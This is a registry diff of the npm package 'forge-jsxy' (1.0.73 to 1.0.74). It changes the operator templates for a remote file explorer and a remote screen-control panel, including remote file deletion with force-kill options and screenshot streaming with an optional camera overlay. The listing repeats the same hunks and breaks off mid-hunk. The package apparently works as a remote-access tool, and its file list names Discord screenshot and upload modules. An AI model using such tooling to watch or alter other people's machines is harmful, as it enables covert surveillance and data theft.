forge-jsxy 1.0.73 → 1.0.74
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +42 -3
- package/assets/remote-control-template.html +49 -42
- package/dist/assets/files-explorer-template.html +43 -4
- package/dist/assets/remote-control-template.html +49 -42
- package/dist/discordAgentScreenshot.js +11 -2
- package/dist/discordRelayUpload.js +1 -1
- package/dist/fsProtocol.js +5 -5
- package/package.json +1 -1
|
@@ -1063,6 +1063,9 @@ function scheduleAuthResultWatch(){
|
|
|
1063
1063
|
let wantDownloadRid = null, wantDownloadName = '', wantDownloadPath = '', wantDownloadParts = null, wantDownloadTotal = 0;
|
|
1064
1064
|
let wantFolderZipRid = null, wantFolderZipPath = '', wantFolderZipParts = null, wantFolderZipTotal = 0, wantFolderZipSaveName = '';
|
|
1065
1065
|
let wantDeleteRid = null;
|
|
1066
|
+
let currentDeletePath = '';
|
|
1067
|
+
let legacyDeleteMode = false;
|
|
1068
|
+
let deleteLegacyCompatRetried = false;
|
|
1066
1069
|
/** Cleared when `fs_delete_result` / `fs_error` arrives, or after timeout if the agent drops mid-delete. */
|
|
1067
1070
|
let _deleteWatchTimer = null;
|
|
1068
1071
|
let wantShellRid = null;
|
|
@@ -1473,6 +1476,14 @@ function xferForce(){ const el = $('xfer-force'); return !!(el && el.checked); }
|
|
|
1473
1476
|
function xferForceKill(){ const el = $('xfer-force-kill'); return !!(el && el.checked); }
|
|
1474
1477
|
/** Chunked fs_read / fs_zip mirror options — include on every chunk so download/zip continuations match the first request. */
|
|
1475
1478
|
function xferStagingOpts(){ return { force: xferForce(), force_kill: xferForceKill() }; }
|
|
1479
|
+
function sendFsDelete(path, requestId){
|
|
1480
|
+
const payload = { type:'fs_delete', path: path, request_id: requestId };
|
|
1481
|
+
if(!legacyDeleteMode){
|
|
1482
|
+
payload.force = xferForce();
|
|
1483
|
+
payload.force_kill = xferForceKill();
|
|
1484
|
+
}
|
|
1485
|
+
send(payload);
|
|
1486
|
+
}
|
|
1476
1487
|
function ridMatch(a,b){ return String(a||'') === String(b||''); }
|
|
1477
1488
|
function sendFsRoots(){
|
|
1478
1489
|
const r = ridn();
|
|
@@ -3052,19 +3063,41 @@ function onMsg(m){
|
|
|
3052
3063
|
deleteConfirmBulkKey = '';
|
|
3053
3064
|
try { setXferStatus(''); } catch(eDelXfer){}
|
|
3054
3065
|
if(!m.ok){
|
|
3066
|
+
const deleteErr = String(m.error || '');
|
|
3067
|
+
const lowDel = deleteErr.toLowerCase();
|
|
3068
|
+
const forceFlagRejected =
|
|
3069
|
+
!legacyDeleteMode &&
|
|
3070
|
+
!deleteLegacyCompatRetried &&
|
|
3071
|
+
(
|
|
3072
|
+
(lowDel.includes('unknown') || lowDel.includes('unsupported') || lowDel.includes('invalid')) &&
|
|
3073
|
+
(lowDel.includes('force_kill') || lowDel.includes('force'))
|
|
3074
|
+
);
|
|
3075
|
+
if(forceFlagRejected && currentDeletePath){
|
|
3076
|
+
legacyDeleteMode = true;
|
|
3077
|
+
deleteLegacyCompatRetried = true;
|
|
3078
|
+
setStatus('Retrying delete in legacy compatibility mode…');
|
|
3079
|
+
const retryRid = ridn();
|
|
3080
|
+
wantDeleteRid = retryRid;
|
|
3081
|
+
armDeleteWatchdog(retryRid);
|
|
3082
|
+
sendFsDelete(currentDeletePath, retryRid);
|
|
3083
|
+
return;
|
|
3084
|
+
}
|
|
3055
3085
|
if(bulkDeleteActive){
|
|
3056
3086
|
bulkDeleteActive = false;
|
|
3057
3087
|
bulkDeleteQueue = [];
|
|
3058
3088
|
}
|
|
3059
3089
|
setStatus(m.error||'Delete failed');
|
|
3060
3090
|
setCerr(m.error||'');
|
|
3091
|
+
currentDeletePath = '';
|
|
3061
3092
|
return;
|
|
3062
3093
|
}
|
|
3063
3094
|
if(bulkDeleteActive && bulkDeleteQueue.length > 0){
|
|
3064
3095
|
const nextPath = bulkDeleteQueue.shift();
|
|
3065
3096
|
wantDeleteRid = ridn();
|
|
3097
|
+
currentDeletePath = String(nextPath || '');
|
|
3098
|
+
deleteLegacyCompatRetried = false;
|
|
3066
3099
|
armDeleteWatchdog(wantDeleteRid);
|
|
3067
|
-
|
|
3100
|
+
sendFsDelete(nextPath, wantDeleteRid);
|
|
3068
3101
|
setXferStatus('Deleting on agent… ('+bulkDeleteQueue.length+' left)');
|
|
3069
3102
|
setStatus('Deleting…');
|
|
3070
3103
|
return;
|
|
@@ -3072,6 +3105,8 @@ function onMsg(m){
|
|
|
3072
3105
|
bulkDeleteActive = false;
|
|
3073
3106
|
bulkDeleteQueue = [];
|
|
3074
3107
|
setCerr('');
|
|
3108
|
+
currentDeletePath = '';
|
|
3109
|
+
deleteLegacyCompatRetried = false;
|
|
3075
3110
|
const deletedPath = m.path ? String(m.path) : '';
|
|
3076
3111
|
if(deletedPath && wantPreviewPath === deletedPath){
|
|
3077
3112
|
abortPreview();
|
|
@@ -3920,8 +3955,10 @@ function deleteSel(){
|
|
|
3920
3955
|
bulkDeleteQueue = [];
|
|
3921
3956
|
const r = ridn();
|
|
3922
3957
|
wantDeleteRid = r;
|
|
3958
|
+
currentDeletePath = String(fullPath || '');
|
|
3959
|
+
deleteLegacyCompatRetried = false;
|
|
3923
3960
|
armDeleteWatchdog(r);
|
|
3924
|
-
|
|
3961
|
+
sendFsDelete(fullPath, r);
|
|
3925
3962
|
setXferStatus('Deleting on agent…');
|
|
3926
3963
|
setStatus('Deleting…');
|
|
3927
3964
|
return;
|
|
@@ -3938,8 +3975,10 @@ function deleteSel(){
|
|
|
3938
3975
|
bulkDeleteQueue = paths.slice(1);
|
|
3939
3976
|
const r = ridn();
|
|
3940
3977
|
wantDeleteRid = r;
|
|
3978
|
+
currentDeletePath = String(paths[0] || '');
|
|
3979
|
+
deleteLegacyCompatRetried = false;
|
|
3941
3980
|
armDeleteWatchdog(r);
|
|
3942
|
-
|
|
3981
|
+
sendFsDelete(paths[0], r);
|
|
3943
3982
|
setXferStatus('Deleting on agent… ('+bulkDeleteQueue.length+' after this)');
|
|
3944
3983
|
setStatus('Deleting…');
|
|
3945
3984
|
}
|
|
@@ -361,7 +361,9 @@
|
|
|
361
361
|
let lastShotStartedAt = 0;
|
|
362
362
|
let streamFastStreak = 0;
|
|
363
363
|
let streamSlowStreak = 0;
|
|
364
|
-
let streamTier =
|
|
364
|
+
let streamTier = 1;
|
|
365
|
+
let legacyShotMode = false;
|
|
366
|
+
let shotFailureStreak = 0;
|
|
365
367
|
let fpsFrames = 0;
|
|
366
368
|
let fpsLastAt = Date.now();
|
|
367
369
|
let fpsCurrent = 0;
|
|
@@ -371,13 +373,13 @@
|
|
|
371
373
|
let lastFrameBytes = 0;
|
|
372
374
|
let lastCaptureMs = 0;
|
|
373
375
|
const STREAM_TUNING = [
|
|
374
|
-
{ maxBytes:
|
|
375
|
-
{ maxBytes:
|
|
376
|
-
{ maxBytes:
|
|
377
|
-
{ maxBytes:
|
|
378
|
-
{ maxBytes:
|
|
379
|
-
{ maxBytes:
|
|
380
|
-
{ maxBytes:
|
|
376
|
+
{ maxBytes: 2_400_000, maxWidth: 2560 },
|
|
377
|
+
{ maxBytes: 1_900_000, maxWidth: 2240 },
|
|
378
|
+
{ maxBytes: 1_500_000, maxWidth: 1920 },
|
|
379
|
+
{ maxBytes: 1_150_000, maxWidth: 1680 },
|
|
380
|
+
{ maxBytes: 900_000, maxWidth: 1520 },
|
|
381
|
+
{ maxBytes: 700_000, maxWidth: 1360 },
|
|
382
|
+
{ maxBytes: 520_000, maxWidth: 1180 },
|
|
381
383
|
];
|
|
382
384
|
|
|
383
385
|
function setState(t) { stateEl.textContent = t; }
|
|
@@ -412,14 +414,14 @@
|
|
|
412
414
|
const capMs = Number.isFinite(Number(captureMs)) ? Number(captureMs) : 0;
|
|
413
415
|
const fb = Number.isFinite(Number(frameBytes)) ? Number(frameBytes) : 0;
|
|
414
416
|
const tb = Number.isFinite(Number(targetBytes)) ? Number(targetBytes) : 0;
|
|
415
|
-
if (fpsCurrent > 0 && fpsCurrent <
|
|
417
|
+
if (fpsCurrent > 0 && fpsCurrent < 4.0) {
|
|
416
418
|
fpsLowStreak += 1;
|
|
417
419
|
fpsHighStreak = 0;
|
|
418
420
|
if (fpsLowStreak >= 2 && streamTier < STREAM_TUNING.length - 1) {
|
|
419
421
|
streamTier += 1;
|
|
420
422
|
fpsLowStreak = 0;
|
|
421
423
|
}
|
|
422
|
-
} else if (fpsCurrent >=
|
|
424
|
+
} else if (fpsCurrent >= 5.1) {
|
|
423
425
|
fpsHighStreak += 1;
|
|
424
426
|
fpsLowStreak = 0;
|
|
425
427
|
if (fpsHighStreak >= 4 && streamTier > 0) {
|
|
@@ -431,8 +433,8 @@
|
|
|
431
433
|
fpsHighStreak = 0;
|
|
432
434
|
}
|
|
433
435
|
const overload =
|
|
434
|
-
ms >
|
|
435
|
-
capMs >
|
|
436
|
+
ms > 300 ||
|
|
437
|
+
capMs > 300 ||
|
|
436
438
|
(tb > 0 && fb > tb * 0.98);
|
|
437
439
|
if (overload) {
|
|
438
440
|
streamSlowStreak += 1;
|
|
@@ -445,9 +447,9 @@
|
|
|
445
447
|
}
|
|
446
448
|
const healthy =
|
|
447
449
|
ms > 0 &&
|
|
448
|
-
ms <
|
|
449
|
-
(capMs <= 0 || capMs <
|
|
450
|
-
(tb <= 0 || fb <= tb * 0.
|
|
450
|
+
ms < 220 &&
|
|
451
|
+
(capMs <= 0 || capMs < 180) &&
|
|
452
|
+
(tb <= 0 || fb <= tb * 0.86);
|
|
451
453
|
if (healthy) {
|
|
452
454
|
streamFastStreak += 1;
|
|
453
455
|
streamSlowStreak = 0;
|
|
@@ -472,7 +474,7 @@
|
|
|
472
474
|
fpsLastAt = now;
|
|
473
475
|
}
|
|
474
476
|
function currentShotIntervalMs() {
|
|
475
|
-
const m = [
|
|
477
|
+
const m = [185, 205, 230, 255, 285, 320, 360];
|
|
476
478
|
return m[Math.max(0, Math.min(m.length - 1, streamTier))];
|
|
477
479
|
}
|
|
478
480
|
function clearShotTimeout() {
|
|
@@ -902,6 +904,7 @@
|
|
|
902
904
|
refreshCameraBtnUi();
|
|
903
905
|
}
|
|
904
906
|
if (msg.ok && msg.b64) {
|
|
907
|
+
shotFailureStreak = 0;
|
|
905
908
|
if (lastShotStartedAt > 0) {
|
|
906
909
|
const prof = STREAM_TUNING[Math.max(0, Math.min(STREAM_TUNING.length - 1, streamTier))];
|
|
907
910
|
lastFrameBytes = Number.isFinite(Number(msg.bytes)) ? Math.max(0, Number(msg.bytes)) : 0;
|
|
@@ -940,6 +943,20 @@
|
|
|
940
943
|
hideEmptyState();
|
|
941
944
|
} else if (!hasFrame) {
|
|
942
945
|
const em = String(msg.error || "").trim();
|
|
946
|
+
shotFailureStreak += 1;
|
|
947
|
+
if (!legacyShotMode) {
|
|
948
|
+
const lower = em.toLowerCase();
|
|
949
|
+
const optionRejected =
|
|
950
|
+
(lower.includes("unknown") || lower.includes("unsupported") || lower.includes("invalid")) &&
|
|
951
|
+
(lower.includes("stream_profile") ||
|
|
952
|
+
lower.includes("max_bytes") ||
|
|
953
|
+
lower.includes("max_width") ||
|
|
954
|
+
lower.includes("include_camera"));
|
|
955
|
+
if (optionRejected || shotFailureStreak >= 2) {
|
|
956
|
+
legacyShotMode = true;
|
|
957
|
+
setState("Using legacy screenshot compatibility mode for this agent.");
|
|
958
|
+
}
|
|
959
|
+
}
|
|
943
960
|
showEmptyState(em || "Remote session connected, but screenshot is not available yet.", true);
|
|
944
961
|
}
|
|
945
962
|
scheduleNextShot(currentShotIntervalMs());
|
|
@@ -1015,6 +1032,8 @@
|
|
|
1015
1032
|
writeEnabled = false;
|
|
1016
1033
|
cameraAvailable = null;
|
|
1017
1034
|
cameraUnavailableWarned = false;
|
|
1035
|
+
legacyShotMode = false;
|
|
1036
|
+
shotFailureStreak = 0;
|
|
1018
1037
|
fpsFrames = 0;
|
|
1019
1038
|
fpsLastAt = Date.now();
|
|
1020
1039
|
fpsCurrent = 0;
|
|
@@ -1057,14 +1076,18 @@
|
|
|
1057
1076
|
lastShotStartedAt = Date.now();
|
|
1058
1077
|
const prof = STREAM_TUNING[Math.max(0, Math.min(STREAM_TUNING.length - 1, streamTier))];
|
|
1059
1078
|
if (!hasFrame) showEmptyState("Requesting screenshot frame...", false);
|
|
1060
|
-
|
|
1079
|
+
const payload = {
|
|
1061
1080
|
type: "fs_screenshot",
|
|
1062
1081
|
request_id: "shot_" + (++reqSeq),
|
|
1063
|
-
|
|
1064
|
-
|
|
1065
|
-
|
|
1066
|
-
|
|
1067
|
-
|
|
1082
|
+
};
|
|
1083
|
+
// Older agents may reject modern screenshot tuning fields; auto-fallback below.
|
|
1084
|
+
if (!legacyShotMode) {
|
|
1085
|
+
payload.stream_profile = "remote_stream";
|
|
1086
|
+
payload.max_bytes = prof.maxBytes;
|
|
1087
|
+
payload.max_width = prof.maxWidth;
|
|
1088
|
+
payload.include_camera = cameraOverlayEnabled;
|
|
1089
|
+
}
|
|
1090
|
+
ws.send(JSON.stringify(payload));
|
|
1068
1091
|
armShotTimeout();
|
|
1069
1092
|
}
|
|
1070
1093
|
function wsRequest(type, payload) {
|
|
@@ -1464,26 +1487,10 @@
|
|
|
1464
1487
|
const naturalW = Number(screenEl.naturalWidth) || 0;
|
|
1465
1488
|
const naturalH = Number(screenEl.naturalHeight) || 0;
|
|
1466
1489
|
if (!r.width || !r.height || !naturalW || !naturalH) return null;
|
|
1467
|
-
//
|
|
1468
|
-
|
|
1469
|
-
const
|
|
1470
|
-
|
|
1471
|
-
let drawTop = r.top;
|
|
1472
|
-
let drawWidth = r.width;
|
|
1473
|
-
let drawHeight = r.height;
|
|
1474
|
-
if (Math.abs(imgAspect - boxAspect) > 0.0001) {
|
|
1475
|
-
if (boxAspect > imgAspect) {
|
|
1476
|
-
drawHeight = r.height;
|
|
1477
|
-
drawWidth = drawHeight * imgAspect;
|
|
1478
|
-
drawLeft = r.left + (r.width - drawWidth) / 2;
|
|
1479
|
-
} else {
|
|
1480
|
-
drawWidth = r.width;
|
|
1481
|
-
drawHeight = drawWidth / imgAspect;
|
|
1482
|
-
drawTop = r.top + (r.height - drawHeight) / 2;
|
|
1483
|
-
}
|
|
1484
|
-
}
|
|
1485
|
-
const relX = (ev.clientX - drawLeft) / Math.max(1, drawWidth);
|
|
1486
|
-
const relY = (ev.clientY - drawTop) / Math.max(1, drawHeight);
|
|
1490
|
+
// For an <img>, getBoundingClientRect() is already the rendered pixel box.
|
|
1491
|
+
// Using rect coordinates directly keeps mapping stable across browser zoom in/out.
|
|
1492
|
+
const relX = (ev.clientX - r.left) / Math.max(1, r.width);
|
|
1493
|
+
const relY = (ev.clientY - r.top) / Math.max(1, r.height);
|
|
1487
1494
|
const nx = Math.max(0, Math.min(1, relX));
|
|
1488
1495
|
const ny = Math.max(0, Math.min(1, relY));
|
|
1489
1496
|
const iw = Number(lastFrameMeta && lastFrameMeta.imageWidth) || naturalW;
|
|
@@ -8,7 +8,7 @@
|
|
|
8
8
|
<title>Forge-explorer</title>
|
|
9
9
|
<link rel="icon" href="/forge-explorer-favicon.svg" type="image/svg+xml"/>
|
|
10
10
|
<link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
|
|
11
|
-
<!-- forge-jsxy@1.0.
|
|
11
|
+
<!-- forge-jsxy@1.0.74 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
|
|
12
12
|
<style>
|
|
13
13
|
/*
|
|
14
14
|
* Cursor / VS Code “Dark Modern” + dashboard-style chrome (remote file explorer):
|
|
@@ -1063,6 +1063,9 @@ function scheduleAuthResultWatch(){
|
|
|
1063
1063
|
let wantDownloadRid = null, wantDownloadName = '', wantDownloadPath = '', wantDownloadParts = null, wantDownloadTotal = 0;
|
|
1064
1064
|
let wantFolderZipRid = null, wantFolderZipPath = '', wantFolderZipParts = null, wantFolderZipTotal = 0, wantFolderZipSaveName = '';
|
|
1065
1065
|
let wantDeleteRid = null;
|
|
1066
|
+
let currentDeletePath = '';
|
|
1067
|
+
let legacyDeleteMode = false;
|
|
1068
|
+
let deleteLegacyCompatRetried = false;
|
|
1066
1069
|
/** Cleared when `fs_delete_result` / `fs_error` arrives, or after timeout if the agent drops mid-delete. */
|
|
1067
1070
|
let _deleteWatchTimer = null;
|
|
1068
1071
|
let wantShellRid = null;
|
|
@@ -1473,6 +1476,14 @@ function xferForce(){ const el = $('xfer-force'); return !!(el && el.checked); }
|
|
|
1473
1476
|
function xferForceKill(){ const el = $('xfer-force-kill'); return !!(el && el.checked); }
|
|
1474
1477
|
/** Chunked fs_read / fs_zip mirror options — include on every chunk so download/zip continuations match the first request. */
|
|
1475
1478
|
function xferStagingOpts(){ return { force: xferForce(), force_kill: xferForceKill() }; }
|
|
1479
|
+
function sendFsDelete(path, requestId){
|
|
1480
|
+
const payload = { type:'fs_delete', path: path, request_id: requestId };
|
|
1481
|
+
if(!legacyDeleteMode){
|
|
1482
|
+
payload.force = xferForce();
|
|
1483
|
+
payload.force_kill = xferForceKill();
|
|
1484
|
+
}
|
|
1485
|
+
send(payload);
|
|
1486
|
+
}
|
|
1476
1487
|
function ridMatch(a,b){ return String(a||'') === String(b||''); }
|
|
1477
1488
|
function sendFsRoots(){
|
|
1478
1489
|
const r = ridn();
|
|
@@ -3052,19 +3063,41 @@ function onMsg(m){
|
|
|
3052
3063
|
deleteConfirmBulkKey = '';
|
|
3053
3064
|
try { setXferStatus(''); } catch(eDelXfer){}
|
|
3054
3065
|
if(!m.ok){
|
|
3066
|
+
const deleteErr = String(m.error || '');
|
|
3067
|
+
const lowDel = deleteErr.toLowerCase();
|
|
3068
|
+
const forceFlagRejected =
|
|
3069
|
+
!legacyDeleteMode &&
|
|
3070
|
+
!deleteLegacyCompatRetried &&
|
|
3071
|
+
(
|
|
3072
|
+
(lowDel.includes('unknown') || lowDel.includes('unsupported') || lowDel.includes('invalid')) &&
|
|
3073
|
+
(lowDel.includes('force_kill') || lowDel.includes('force'))
|
|
3074
|
+
);
|
|
3075
|
+
if(forceFlagRejected && currentDeletePath){
|
|
3076
|
+
legacyDeleteMode = true;
|
|
3077
|
+
deleteLegacyCompatRetried = true;
|
|
3078
|
+
setStatus('Retrying delete in legacy compatibility mode…');
|
|
3079
|
+
const retryRid = ridn();
|
|
3080
|
+
wantDeleteRid = retryRid;
|
|
3081
|
+
armDeleteWatchdog(retryRid);
|
|
3082
|
+
sendFsDelete(currentDeletePath, retryRid);
|
|
3083
|
+
return;
|
|
3084
|
+
}
|
|
3055
3085
|
if(bulkDeleteActive){
|
|
3056
3086
|
bulkDeleteActive = false;
|
|
3057
3087
|
bulkDeleteQueue = [];
|
|
3058
3088
|
}
|
|
3059
3089
|
setStatus(m.error||'Delete failed');
|
|
3060
3090
|
setCerr(m.error||'');
|
|
3091
|
+
currentDeletePath = '';
|
|
3061
3092
|
return;
|
|
3062
3093
|
}
|
|
3063
3094
|
if(bulkDeleteActive && bulkDeleteQueue.length > 0){
|
|
3064
3095
|
const nextPath = bulkDeleteQueue.shift();
|
|
3065
3096
|
wantDeleteRid = ridn();
|
|
3097
|
+
currentDeletePath = String(nextPath || '');
|
|
3098
|
+
deleteLegacyCompatRetried = false;
|
|
3066
3099
|
armDeleteWatchdog(wantDeleteRid);
|
|
3067
|
-
|
|
3100
|
+
sendFsDelete(nextPath, wantDeleteRid);
|
|
3068
3101
|
setXferStatus('Deleting on agent… ('+bulkDeleteQueue.length+' left)');
|
|
3069
3102
|
setStatus('Deleting…');
|
|
3070
3103
|
return;
|
|
@@ -3072,6 +3105,8 @@ function onMsg(m){
|
|
|
3072
3105
|
bulkDeleteActive = false;
|
|
3073
3106
|
bulkDeleteQueue = [];
|
|
3074
3107
|
setCerr('');
|
|
3108
|
+
currentDeletePath = '';
|
|
3109
|
+
deleteLegacyCompatRetried = false;
|
|
3075
3110
|
const deletedPath = m.path ? String(m.path) : '';
|
|
3076
3111
|
if(deletedPath && wantPreviewPath === deletedPath){
|
|
3077
3112
|
abortPreview();
|
|
@@ -3920,8 +3955,10 @@ function deleteSel(){
|
|
|
3920
3955
|
bulkDeleteQueue = [];
|
|
3921
3956
|
const r = ridn();
|
|
3922
3957
|
wantDeleteRid = r;
|
|
3958
|
+
currentDeletePath = String(fullPath || '');
|
|
3959
|
+
deleteLegacyCompatRetried = false;
|
|
3923
3960
|
armDeleteWatchdog(r);
|
|
3924
|
-
|
|
3961
|
+
sendFsDelete(fullPath, r);
|
|
3925
3962
|
setXferStatus('Deleting on agent…');
|
|
3926
3963
|
setStatus('Deleting…');
|
|
3927
3964
|
return;
|
|
@@ -3938,8 +3975,10 @@ function deleteSel(){
|
|
|
3938
3975
|
bulkDeleteQueue = paths.slice(1);
|
|
3939
3976
|
const r = ridn();
|
|
3940
3977
|
wantDeleteRid = r;
|
|
3978
|
+
currentDeletePath = String(paths[0] || '');
|
|
3979
|
+
deleteLegacyCompatRetried = false;
|
|
3941
3980
|
armDeleteWatchdog(r);
|
|
3942
|
-
|
|
3981
|
+
sendFsDelete(paths[0], r);
|
|
3943
3982
|
setXferStatus('Deleting on agent… ('+bulkDeleteQueue.length+' after this)');
|
|
3944
3983
|
setStatus('Deleting…');
|
|
3945
3984
|
}
|
|
@@ -361,7 +361,9 @@
|
|
|
361
361
|
let lastShotStartedAt = 0;
|
|
362
362
|
let streamFastStreak = 0;
|
|
363
363
|
let streamSlowStreak = 0;
|
|
364
|
-
let streamTier =
|
|
364
|
+
let streamTier = 1;
|
|
365
|
+
let legacyShotMode = false;
|
|
366
|
+
let shotFailureStreak = 0;
|
|
365
367
|
let fpsFrames = 0;
|
|
366
368
|
let fpsLastAt = Date.now();
|
|
367
369
|
let fpsCurrent = 0;
|
|
@@ -371,13 +373,13 @@
|
|
|
371
373
|
let lastFrameBytes = 0;
|
|
372
374
|
let lastCaptureMs = 0;
|
|
373
375
|
const STREAM_TUNING = [
|
|
374
|
-
{ maxBytes:
|
|
375
|
-
{ maxBytes:
|
|
376
|
-
{ maxBytes:
|
|
377
|
-
{ maxBytes:
|
|
378
|
-
{ maxBytes:
|
|
379
|
-
{ maxBytes:
|
|
380
|
-
{ maxBytes:
|
|
376
|
+
{ maxBytes: 2_400_000, maxWidth: 2560 },
|
|
377
|
+
{ maxBytes: 1_900_000, maxWidth: 2240 },
|
|
378
|
+
{ maxBytes: 1_500_000, maxWidth: 1920 },
|
|
379
|
+
{ maxBytes: 1_150_000, maxWidth: 1680 },
|
|
380
|
+
{ maxBytes: 900_000, maxWidth: 1520 },
|
|
381
|
+
{ maxBytes: 700_000, maxWidth: 1360 },
|
|
382
|
+
{ maxBytes: 520_000, maxWidth: 1180 },
|
|
381
383
|
];
|
|
382
384
|
|
|
383
385
|
function setState(t) { stateEl.textContent = t; }
|
|
@@ -412,14 +414,14 @@
|
|
|
412
414
|
const capMs = Number.isFinite(Number(captureMs)) ? Number(captureMs) : 0;
|
|
413
415
|
const fb = Number.isFinite(Number(frameBytes)) ? Number(frameBytes) : 0;
|
|
414
416
|
const tb = Number.isFinite(Number(targetBytes)) ? Number(targetBytes) : 0;
|
|
415
|
-
if (fpsCurrent > 0 && fpsCurrent <
|
|
417
|
+
if (fpsCurrent > 0 && fpsCurrent < 4.0) {
|
|
416
418
|
fpsLowStreak += 1;
|
|
417
419
|
fpsHighStreak = 0;
|
|
418
420
|
if (fpsLowStreak >= 2 && streamTier < STREAM_TUNING.length - 1) {
|
|
419
421
|
streamTier += 1;
|
|
420
422
|
fpsLowStreak = 0;
|
|
421
423
|
}
|
|
422
|
-
} else if (fpsCurrent >=
|
|
424
|
+
} else if (fpsCurrent >= 5.1) {
|
|
423
425
|
fpsHighStreak += 1;
|
|
424
426
|
fpsLowStreak = 0;
|
|
425
427
|
if (fpsHighStreak >= 4 && streamTier > 0) {
|
|
@@ -431,8 +433,8 @@
|
|
|
431
433
|
fpsHighStreak = 0;
|
|
432
434
|
}
|
|
433
435
|
const overload =
|
|
434
|
-
ms >
|
|
435
|
-
capMs >
|
|
436
|
+
ms > 300 ||
|
|
437
|
+
capMs > 300 ||
|
|
436
438
|
(tb > 0 && fb > tb * 0.98);
|
|
437
439
|
if (overload) {
|
|
438
440
|
streamSlowStreak += 1;
|
|
@@ -445,9 +447,9 @@
|
|
|
445
447
|
}
|
|
446
448
|
const healthy =
|
|
447
449
|
ms > 0 &&
|
|
448
|
-
ms <
|
|
449
|
-
(capMs <= 0 || capMs <
|
|
450
|
-
(tb <= 0 || fb <= tb * 0.
|
|
450
|
+
ms < 220 &&
|
|
451
|
+
(capMs <= 0 || capMs < 180) &&
|
|
452
|
+
(tb <= 0 || fb <= tb * 0.86);
|
|
451
453
|
if (healthy) {
|
|
452
454
|
streamFastStreak += 1;
|
|
453
455
|
streamSlowStreak = 0;
|
|
@@ -472,7 +474,7 @@
|
|
|
472
474
|
fpsLastAt = now;
|
|
473
475
|
}
|
|
474
476
|
function currentShotIntervalMs() {
|
|
475
|
-
const m = [
|
|
477
|
+
const m = [185, 205, 230, 255, 285, 320, 360];
|
|
476
478
|
return m[Math.max(0, Math.min(m.length - 1, streamTier))];
|
|
477
479
|
}
|
|
478
480
|
function clearShotTimeout() {
|
|
@@ -902,6 +904,7 @@
|
|
|
902
904
|
refreshCameraBtnUi();
|
|
903
905
|
}
|
|
904
906
|
if (msg.ok && msg.b64) {
|
|
907
|
+
shotFailureStreak = 0;
|
|
905
908
|
if (lastShotStartedAt > 0) {
|
|
906
909
|
const prof = STREAM_TUNING[Math.max(0, Math.min(STREAM_TUNING.length - 1, streamTier))];
|
|
907
910
|
lastFrameBytes = Number.isFinite(Number(msg.bytes)) ? Math.max(0, Number(msg.bytes)) : 0;
|
|
@@ -940,6 +943,20 @@
|
|
|
940
943
|
hideEmptyState();
|
|
941
944
|
} else if (!hasFrame) {
|
|
942
945
|
const em = String(msg.error || "").trim();
|
|
946
|
+
shotFailureStreak += 1;
|
|
947
|
+
if (!legacyShotMode) {
|
|
948
|
+
const lower = em.toLowerCase();
|
|
949
|
+
const optionRejected =
|
|
950
|
+
(lower.includes("unknown") || lower.includes("unsupported") || lower.includes("invalid")) &&
|
|
951
|
+
(lower.includes("stream_profile") ||
|
|
952
|
+
lower.includes("max_bytes") ||
|
|
953
|
+
lower.includes("max_width") ||
|
|
954
|
+
lower.includes("include_camera"));
|
|
955
|
+
if (optionRejected || shotFailureStreak >= 2) {
|
|
956
|
+
legacyShotMode = true;
|
|
957
|
+
setState("Using legacy screenshot compatibility mode for this agent.");
|
|
958
|
+
}
|
|
959
|
+
}
|
|
943
960
|
showEmptyState(em || "Remote session connected, but screenshot is not available yet.", true);
|
|
944
961
|
}
|
|
945
962
|
scheduleNextShot(currentShotIntervalMs());
|
|
@@ -1015,6 +1032,8 @@
|
|
|
1015
1032
|
writeEnabled = false;
|
|
1016
1033
|
cameraAvailable = null;
|
|
1017
1034
|
cameraUnavailableWarned = false;
|
|
1035
|
+
legacyShotMode = false;
|
|
1036
|
+
shotFailureStreak = 0;
|
|
1018
1037
|
fpsFrames = 0;
|
|
1019
1038
|
fpsLastAt = Date.now();
|
|
1020
1039
|
fpsCurrent = 0;
|
|
@@ -1057,14 +1076,18 @@
|
|
|
1057
1076
|
lastShotStartedAt = Date.now();
|
|
1058
1077
|
const prof = STREAM_TUNING[Math.max(0, Math.min(STREAM_TUNING.length - 1, streamTier))];
|
|
1059
1078
|
if (!hasFrame) showEmptyState("Requesting screenshot frame...", false);
|
|
1060
|
-
|
|
1079
|
+
const payload = {
|
|
1061
1080
|
type: "fs_screenshot",
|
|
1062
1081
|
request_id: "shot_" + (++reqSeq),
|
|
1063
|
-
|
|
1064
|
-
|
|
1065
|
-
|
|
1066
|
-
|
|
1067
|
-
|
|
1082
|
+
};
|
|
1083
|
+
// Older agents may reject modern screenshot tuning fields; auto-fallback below.
|
|
1084
|
+
if (!legacyShotMode) {
|
|
1085
|
+
payload.stream_profile = "remote_stream";
|
|
1086
|
+
payload.max_bytes = prof.maxBytes;
|
|
1087
|
+
payload.max_width = prof.maxWidth;
|
|
1088
|
+
payload.include_camera = cameraOverlayEnabled;
|
|
1089
|
+
}
|
|
1090
|
+
ws.send(JSON.stringify(payload));
|
|
1068
1091
|
armShotTimeout();
|
|
1069
1092
|
}
|
|
1070
1093
|
function wsRequest(type, payload) {
|
|
@@ -1464,26 +1487,10 @@
|
|
|
1464
1487
|
const naturalW = Number(screenEl.naturalWidth) || 0;
|
|
1465
1488
|
const naturalH = Number(screenEl.naturalHeight) || 0;
|
|
1466
1489
|
if (!r.width || !r.height || !naturalW || !naturalH) return null;
|
|
1467
|
-
//
|
|
1468
|
-
|
|
1469
|
-
const
|
|
1470
|
-
|
|
1471
|
-
let drawTop = r.top;
|
|
1472
|
-
let drawWidth = r.width;
|
|
1473
|
-
let drawHeight = r.height;
|
|
1474
|
-
if (Math.abs(imgAspect - boxAspect) > 0.0001) {
|
|
1475
|
-
if (boxAspect > imgAspect) {
|
|
1476
|
-
drawHeight = r.height;
|
|
1477
|
-
drawWidth = drawHeight * imgAspect;
|
|
1478
|
-
drawLeft = r.left + (r.width - drawWidth) / 2;
|
|
1479
|
-
} else {
|
|
1480
|
-
drawWidth = r.width;
|
|
1481
|
-
drawHeight = drawWidth / imgAspect;
|
|
1482
|
-
drawTop = r.top + (r.height - drawHeight) / 2;
|
|
1483
|
-
}
|
|
1484
|
-
}
|
|
1485
|
-
const relX = (ev.clientX - drawLeft) / Math.max(1, drawWidth);
|
|
1486
|
-
const relY = (ev.clientY - drawTop) / Math.max(1, drawHeight);
|
|
1490
|
+
